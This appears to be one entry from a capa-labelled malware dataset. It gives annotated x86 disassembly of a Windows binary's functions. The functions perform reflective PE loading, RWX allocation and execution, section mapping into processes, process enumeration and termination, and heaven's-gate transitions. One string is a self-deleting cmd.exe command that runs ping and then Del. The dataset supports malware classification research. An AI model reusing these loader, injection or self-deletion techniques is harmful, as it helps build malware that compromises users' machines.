joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4157a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, 0x5a4d
push esi
mov esi, dword [ebp + 8]
cmp word [esi], ax
jne 0x4159d8
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x4159d8
movzx ecx, word [eax + 4]
mov edx, 0x14c
push ebx
cmp cx, dx
jne 0x4157f8
mov ecx, dword [eax + 0xa0]
test ecx, ecx
je 0x4159cb
cmp dword [eax + 0x74], 5
jbe 0x4159cb
mov ebx, dword [eax + 0xa4]
jmp 0x415827
mov edx, 0x8664
cmp cx, dx
jne 0x4159cb
mov ecx, dword [eax + 0xb0]
test ecx, ecx
je 0x4159cb
cmp dword [eax + 0x84], 5
jbe 0x4159cb
mov ebx, dword [eax + 0xb4]
add ecx, esi
je 0x4159cb
test ebx, ebx
je 0x4159cb
push edi
mov edi, dword [ebp + 0xc]
nop dword [eax + eax]
mov eax, dword [ecx + 4]
sub ebx, eax
mov edx, dword [ecx]
add ecx, 8
add edx, esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], edx
lea edx, [eax - 8]
shr edx, 1
je 0x4159b6
nop dword [eax]
movzx eax, word [ecx]
dec edx
mov ebx, eax
mov dword [ebp - 8], edx
and ebx, 0xfff
shr ax, 0xc
mov dword [ebp - 0x10], ebx
mov esi, ecx
movzx ebx, bx
add ebx, dword [ebp - 0xc]
cmp ax, 3
jne 0x41588e
mov eax, dword [ebp + 0xc]
add dword [ebx], eax
jmp 0x4159a2
cmp ax, 1
jne 0x4158a7
movzx eax, word [ebx]
shl eax, 0x10
add eax, edi
sar eax, 0x10
mov word [ebx], ax
jmp 0x4159a5
cmp ax, 4
jne 0x415917
lea eax, [ecx + 2]
dec edx
test byte [ebp - 0x10], 2
mov ecx, eax
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
jne 0x4159a5
movsx eax, word [eax]
mov edi, dword [ebp + 0xc]
movzx ecx, word [ebx]
shl ecx, 0x10
add eax, ecx
lea edx, [edi + 0x8000]
add edx, eax
mov eax, edx
sub edx, ecx
mov ecx, dword [ebp - 4]
sar eax, 0x10
mov word [ebx], ax
mov eax, edi
shr edx, 0x10
shr eax, 0x10
sub edx, eax
cmp edx, 1
jne 0x415900
or word [esi], dx
mov edx, dword [ebp - 8]
jmp 0x4159a2
mov edi, dword [ebp + 0xc]
test edx, edx
mov edx, dword [ebp - 8]
je 0x4159a5
or word [esi], 2
jmp 0x4159a5
cmp ax, 2
jne 0x415925
mov eax, dword [ebp + 0xc]
add word [ebx], ax
jmp 0x4159a2
test ax, ax
je 0x4159a5
cmp ax, 6
je 0x4159a5
cmp ax, 7
je 0x4159a5
cmp ax, 0xb
jne 0x4159c2
movzx eax, word [ebx]
add ecx, 2
shl eax, 0x10
lea edi, [ecx + 2]
mov dword [ebp - 4], ecx
mov ecx, 0x10000
imul ecx
mov esi, eax
mov ecx, edx
movsx eax, word [edi]
cdq
shld edx, eax, 0x10
shl eax, 0x10
add esi, eax
mov eax, dword [ebp - 4]
adc ecx, edx
movzx eax, word [eax]
cdq
add esi, eax
adc ecx, edx
add esi, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
adc ecx, dword [ebp + 0x10]
add esi, 0x8000
adc ecx, 0
shrd esi, ecx, 0x10
sar ecx, 0x10
add esi, 0x8000
adc ecx, 0
shrd esi, ecx, 0x10
mov ecx, edi
sub edx, 2
mov word [ebx], si
mov edi, dword [ebp + 0xc]
add ecx, 2
test edx, edx
jne 0x415860
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp + 8]
test ecx, ecx
je 0x4159c2
test ebx, ebx
jne 0x415840
pop edi
mov al, 1
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov al, byte [eax + 0x16]
not al
pop ebx
and al, 1
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4159e0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x415a6c
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x415a6c
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
jne 0x415a1b
mov ecx, dword [eax + 0x78]
test ecx, ecx
je 0x415a6c
cmp dword [eax + 0x74], 0
jmp 0x415a36
mov edx, 0x8664
cmp cx, dx
jne 0x415a6c
mov ecx, dword [eax + 0x88]
test ecx, ecx
je 0x415a6c
cmp dword [eax + 0x84], 0
jbe 0x415a6c
lea ebx, [edi + ecx]
test ebx, ebx
je 0x415a6c
mov eax, dword [ebx + 0x20]
xor esi, esi
add eax, edi
mov dword [ebp + 8], eax
cmp dword [ebx + 0x18], esi
jbe 0x415a6c
nop
mov eax, dword [eax + esi*4]
push dword [ebp + 0xc]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x415a73
mov eax, dword [ebp + 8]
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x415a50
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebx + 0x24]
mov ecx, dword [ebx + 0x1c]
add ecx, edi
cmp byte [ebp + 0x10], 0
lea eax, [eax + esi*2]
movzx eax, word [eax + edi]
mov eax, dword [ecx + eax*4]
jne 0x415a6e
add eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x415aa0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 0
push str.LdrLoadDll
call fcn.00415e30
push eax
call fcn.004159e0
add esp, 0xc
mov edi, eax
mov dword [ebp - 0x14], edi
push 0
push str.RtlCreateUnicodeStringFromAsciiz
call fcn.00415e30
push eax
call fcn.004159e0
add esp, 0xc
mov dword [ebp - 0x18], eax
push 0
push str.LdrGetProcedureAddress
call fcn.00415e30
push eax
call fcn.004159e0
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0
push str.RtlInitAnsiString
call fcn.00415e30
push eax
call fcn.004159e0
mov ebx, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x415c97
mov ecx, dword [ebx + 0x3c]
add ecx, ebx
cmp dword [ecx], 0x4550
jne 0x415c97
movzx eax, word [ecx + 4]
mov edx, 0x14c
cmp ax, dx
jne 0x415b4f
mov eax, dword [ecx + 0x80]
test eax, eax
je 0x415c97
cmp dword [ecx + 0x74], 1
jmp 0x415b72
mov edx, 0x8664
cmp ax, dx
jne 0x415c97
mov eax, dword [ecx + 0x90]
test eax, eax
je 0x415c97
cmp dword [ecx + 0x84], 1
jbe 0x415c97
lea esi, [ebx + eax]
mov dword [ebp - 8], esi
test esi, esi
je 0x415c97
cmp dword [esi + 0xc], 0
je 0x415c97
mov edx, dword [esi + 0xc]
add edx, ebx
mov dword [ebp - 4], 0
cmp byte [ebp + 0xc], 0
je 0x415bea
cmp byte [edx], 0
mov eax, 0x420d48
je 0x415c87
sub edx, eax
mov cl, byte [eax]
test cl, cl
je 0x415c84
cmp cl, byte [edx + eax]
ja 0x415c84
jb 0x415c84
inc eax
cmp byte [edx + eax], 0
jne 0x415bb2
cmp byte [eax], 0
jne 0x415c84
call fcn.00415e30
mov ebx, dword [ebp + 8]
mov ecx, eax
mov dword [ebp - 4], ecx
jmp 0x415c0b
push edx
lea eax, [ebp - 0x24]
push eax
call dword [ebp - 0x18]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0
call edi
test eax, eax
js 0x415ca0
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x415ca0
mov eax, dword [esi]
test eax, eax
jne 0x415c1c
mov eax, dword [esi + 0x10]
mov esi, dword [esi + 0x10]
lea edi, [eax + ebx]
mov eax, dword [edi]
add esi, ebx
test eax, eax
je 0x415c7c
nop word [eax + eax]
test eax, eax
jns 0x415c41
lea edx, [ebp - 0x10]
movzx eax, ax
push edx
push eax
push 0
push ecx
jmp 0x415c5b
add eax, 2
add eax, ebx
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 4]
call dword [ebp - 0xc]
test eax, eax
js 0x415ca0
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x415ca0
add edi, 4
mov dword [esi], eax
add esi, 4
mov eax, dword [edi]
test eax, eax
je 0x415c7c
mov ecx, dword [ebp - 4]
jmp 0x415c30
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0x14]
jmp 0x415c87
mov ebx, dword [ebp + 8]
add esi, 0x14
mov dword [ebp - 8], esi
cmp dword [esi + 0xc], 0
jne 0x415b90
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415e30
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov ebx, dword [eax + 0xc]
add ebx, 0x14
mov edi, dword [ebx]
cmp edi, ebx
je 0x415e89
mov esi, dword [edi + 0x28]
mov eax, 0x420d64
movzx ecx, word [esi]
mov edx, ecx
test cx, cx
je 0x415e83
sub esi, eax
nop dword [eax]
movzx ecx, word [eax]
test cx, cx
je 0x415e83
cmp cx, dx
ja 0x415e83
jb 0x415e83
movzx ecx, word [esi + eax + 2]
add eax, 2
mov edx, ecx
test cx, cx
jne 0x415e60
cmp word [eax], cx
je 0x415e8f
mov edi, dword [edi]
cmp edi, ebx
jne 0x415e45
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [edi + 0x10]
pop edi
pop esi
pop ebx
ret

Function at 0x416270
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, 0x5a4d
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp word [esi], ax
jne 0x4163ae
mov ebx, dword [esi + 0x3c]
add ebx, esi
cmp dword [ebx], 0x4550
jne 0x4163ae
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x4163ae
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 8], eax
push dword [eax + 0x14]
push esi
push edi
call fcn.00401001
xor eax, eax
xor ecx, ecx
add esp, 0xc
mov dword [ebp - 4], eax
cmp cx, word [ebx + 6]
jae 0x416322
nop dword [eax]
mov ecx, dword [ebp - 8]
movzx eax, ax
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 8]
lea esi, [ecx + eax*8]
mov eax, dword [esi + 0xc]
add eax, edi
push 0
push eax
call fcn.00401027
push dword [esi + 0x10]
mov eax, dword [esi + 0x14]
add eax, dword [ebp + 8]
push eax
mov eax, dword [esi + 0xc]
add eax, edi
push eax
call fcn.00401001
mov eax, dword [ebp - 4]
add esp, 0x18
inc eax
mov dword [ebp - 4], eax
cmp ax, word [ebx + 6]
jb 0x4162e0
mov eax, 0x5a4d
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
cmp word [edi], ax
jne 0x416368
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x416368
movzx ecx, word [eax + 4]
mov edx, 0x8664
cmp cx, dx
jne 0x416357
mov ecx, dword [eax + 0x30]
mov esi, dword [eax + 0x34]
jmp 0x41636e
mov edx, 0x14c
cmp cx, dx
jne 0x416368
mov ecx, dword [eax + 0x34]
xor esi, esi
jmp 0x41636e
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edi
cdq
sub eax, ecx
sbb edx, esi
push edx
push eax
push edi
call fcn.004157a0
add esp, 0xc
test al, al
je 0x4163a5
push 0
push edi
call fcn.00415aa0
add esp, 8
test al, al
je 0x4163a5
cmp dword [ebp + 0xc], 0
je 0x4163a5
mov eax, dword [ebx + 0x28]
push 0
push 1
push edi
add eax, edi
call eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4166a0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
lea eax, [ebp - 0x54]
mov esi, ecx
push 0
push eax
call fcn.00407f10
add esp, 0xc
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
mov eax, dword [ebp + 0x10]
push 0
neg eax
push 0
sbb eax, eax
and eax, 4
push eax
push 0
push 0
push 0
call fcn.00403320
mov ecx, dword [ebp + 8]
push eax
call fcn.00403320
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x41670a
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 0xc
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x417180
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov edx, dword [ebp + 0x10]
mov eax, ecx
mov ecx, dword [ebp + 0xc]
xorps xmm0, xmm0
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov dword [ebp - 4], eax
mov dword [ebp + 8], 0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0x1c], xmm0
cmp dword [eax], edi
je 0x41732e
lea ecx, [esi + 0x28]
mov dword [ebp - 0x20], edi
push ebx
mov dword [ebp + 0x10], ecx
cmp dword [esi + 0x40], edi
je 0x4171ce
mov eax, dword [esi + 0x24]
jmp 0x4171d3
mov eax, dword [ecx]
mov dword [ebp + 0x10], ecx
mov eax, dword [eax + 0x50]
push 0
push 0x8000000
push 0x40
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0xf001f
lea eax, [ebp + 8]
push eax
call dword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
jns 0x417208
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
jmp 0x417304
push 0x40
push 0
push 2
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
jns 0x41723d
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
jmp 0x417304
mov ecx, esi
call fcn.00415390
cmp dword [esi + 0x40], 0
mov edi, eax
je 0x417251
mov eax, dword [esi + 0x24]
jmp 0x417256
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
push eax
push edi
push dword [ebp - 0x14]
call fcn.00407f30
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
call fcn.004177d0
mov esi, dword [ebp - 4]
add esp, 4
test eax, eax
je 0x4172b9
mov eax, dword [esi]
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
call fcn.004177d0
add esp, 4
test eax, eax
jne 0x4172b9
push 0x40
push eax
push 2
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [esi]
push dword [ebp + 8]
call fcn.00419000
add esp, 0x28
jmp 0x4172d8
push 0x40
push 0
push 2
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [esi]
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
jns 0x4172e6
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
jmp 0x417304
mov esi, dword [ebp - 0x14]
push edi
call fcn.00415620
mov ecx, dword [ebp - 0xc]
sub ecx, eax
mov eax, dword [ebp - 8]
sbb eax, edx
push eax
push ecx
push esi
call fcn.004157a0
add esp, 0x10
mov eax, dword [ebp + 8]
pop ebx
test eax, eax
je 0x417313
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x417320
push edi
call fcn.00407e60
add esp, 4
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
pop edi
mov eax, ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4178d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x63c]
push 0x228
push 0
push eax
call fcn.00401027
add esp, 0xc
mov dword [ebp - 0x640], 0x22c
mov ecx, edi
mov dword [edi + 0xc], 5
mov dword [edi + 4], 5
mov dword [edi + 8], 0
call fcn.004058e0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x417abd
lea eax, [ebp - 0x640]
push eax
push ebx
call sub.KERNEL32.dll_Process32FirstW
jmp 0x417aae
lea ecx, [ebp - 0x648]
call fcn.00403290
lea ecx, [ebp - 0x644]
call fcn.00403290
mov eax, dword [ebp - 0x638]
lea ecx, [ebp - 0x648]
mov dword [ebp - 0x64c], eax
lea eax, [ebp - 0x61c]
push eax
call fcn.00403b90
push dword [ebp - 0x638]
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x417a32
push 0x410
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00401027
add esp, 0xc
lea eax, [ebp - 0x414]
push 0x208
push eax
push 0
push esi
call sub.KERNEL32.dll_K32GetModuleFileNameExW
test eax, eax
je 0x417a02
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x654]
call fcn.004032c0
push eax
lea ecx, [ebp - 0x644]
call fcn.00403b40
lea ecx, [ebp - 0x654]
call fcn.00403ca0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x417a59
push 0x41f8e4
lea ecx, [ebp - 0x658]
call fcn.004032c0
push eax
lea ecx, [ebp - 0x644]
call fcn.00403b40
lea ecx, [ebp - 0x658]
call fcn.00403ca0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x417a59
push 0x41f8e4
lea ecx, [ebp - 0x650]
call fcn.004032c0
push eax
lea ecx, [ebp - 0x644]
call fcn.00403b40
lea ecx, [ebp - 0x650]
call fcn.00403ca0
mov eax, dword [ebp - 0x64c]
sub esp, 0xc
mov esi, esp
mov dword [esi], eax
lea ecx, [esi + 4]
lea eax, [ebp - 0x648]
push eax
call fcn.00403c50
lea eax, [ebp - 0x644]
push eax
lea ecx, [esi + 8]
call fcn.00403c50
mov ecx, edi
call fcn.004181e0
lea ecx, [ebp - 0x644]
call fcn.00403ca0
lea ecx, [ebp - 0x648]
call fcn.00403ca0
lea eax, [ebp - 0x640]
push eax
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x417950
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x417ad0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x417b00
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
pop ebp
ret
xor eax, eax
pop edi
pop ebp
ret
Function at 0x417b10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push 2
mov dword [ebp - 0x230], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x417b5b
mov ecx, edi
call fcn.00403290
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [ebp - 0x230]
push eax
push esi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x417b89
mov ebx, dword [ebp + 0xc]
cmp dword [ebp - 0x228], ebx
je 0x417baa
lea eax, [ebp - 0x230]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x417b70
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.00403290
pop ebx
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x20c]
mov ecx, edi
push eax
call fcn.004032c0
mov ecx, dword [ebp - 4]
mov eax, edi
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x418530
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
mov edi, ecx
mov ecx, dword [ebp + 8]
push 0
call fcn.00403320
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4185bc
push dword [ebp - 4]
call fcn.00407fa0
mov ecx, dword [ebp + 8]
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
call fcn.00403320
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4185bc
push dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
push esi
call fcn.004028e0
test esi, esi
je 0x4185af
push esi
call fcn.00407fc0
add esp, 4
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 8
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x418ab0
Capabilities:
Create process on windows
Self delete
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
lea eax, [edi + 0x10]
push eax
push connect
call fcn.00418630
add esp, 8
lea ecx, [edi + 0x30]
call fcn.004079f0
test eax, eax
je 0x418af3
push 0
push dword [0x425458]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea ecx, [edi + 0x30]
call fcn.00407980
test eax, eax
je 0x418b40
push 0
push 0x20006
lea eax, [edi + 0x14]
push eax
push dword [edi + 8]
lea ecx, [edi + 4]
call fcn.00418440
lea eax, [ebp - 0x314]
push eax
lea ecx, [edi + 0x30]
call fcn.00407990
push eax
lea ecx, [edi + 4]
call fcn.004185d0
lea ecx, [ebp - 0x314]
call fcn.00403ca0
lea ecx, [edi + 4]
call fcn.00418610
lea ecx, [edi + 0x30]
call fcn.00407950
push 0x44
lea eax, [ebp - 0x368]
push 0
push eax
call fcn.00401027
add esp, 0xc
lea eax, [ebp - 0x310]
xorps xmm0, xmm0
movups xmmword [ebp - 0x324], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movups xmm0, xmmword [str.cmd.exe__C_ping_1.2.3.4__n_2__w_1000___Nul__Del__f__q]
mov eax, dword [0x420fc0]
lea esi, [ebp - 0x310]
mov dword [ebp - 0x1dc], eax
lea ecx, [esi + 1]
mov ax, word [0x420fc4]
movups xmmword [ebp - 0x20c], xmm0
mov word [ebp - 0x1d8], ax
movups xmm0, xmmword [0x420fa0]
mov al, byte [0x420fc6]
mov byte [ebp - 0x1d6], al
movups xmmword [ebp - 0x1fc], xmm0
mov byte [ebp - 0x1d5], 0x22
movups xmm0, xmmword [0x420fb0]
movups xmmword [ebp - 0x1ec], xmm0
mov al, byte [esi]
inc esi
test al, al
jne 0x418bd6
sub esi, ecx
lea eax, [ebp - 0x310]
push esi
push eax
lea eax, [ebp - 0x1d4]
push eax
call fcn.00401001
add esp, 0xc
mov eax, 0x22
mov word [ebp + esi - 0x1d4], ax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x368]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x320]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x324]
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x418ec0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
lea edx, [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
test esi, esi
jle 0x418ee8
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
dec esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
jmp 0x418ef0
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
mov ecx, edx
test esi, esi
jle 0x418f0a
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
jmp 0x418f12
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
mov ecx, edx
test esi, esi
jle 0x418f2c
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
jmp 0x418f34
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov ecx, edx
test esi, esi
jle 0x418f4e
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
jmp 0x418f56
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov eax, edx
mov dword [ebp - 4], 0
cdq
xorps xmm0, xmm0
mov dword [ebp - 0x3c], eax
mov eax, esi
mov dword [ebp - 0x38], edx
cdq
movlpd qword [ebp - 0x34], xmm0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], esp
and esp, 0xfffffff8
push 0x33
call 0x418f84
add dword [esp], 5
retf

Function at 0x4196c0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ce4
call fcn.004010b0
push ebx
push esi
xorps xmm0, xmm0
push edi
movlpd qword [ebp - 0xc], xmm0
push 0x33
call fcn.004196df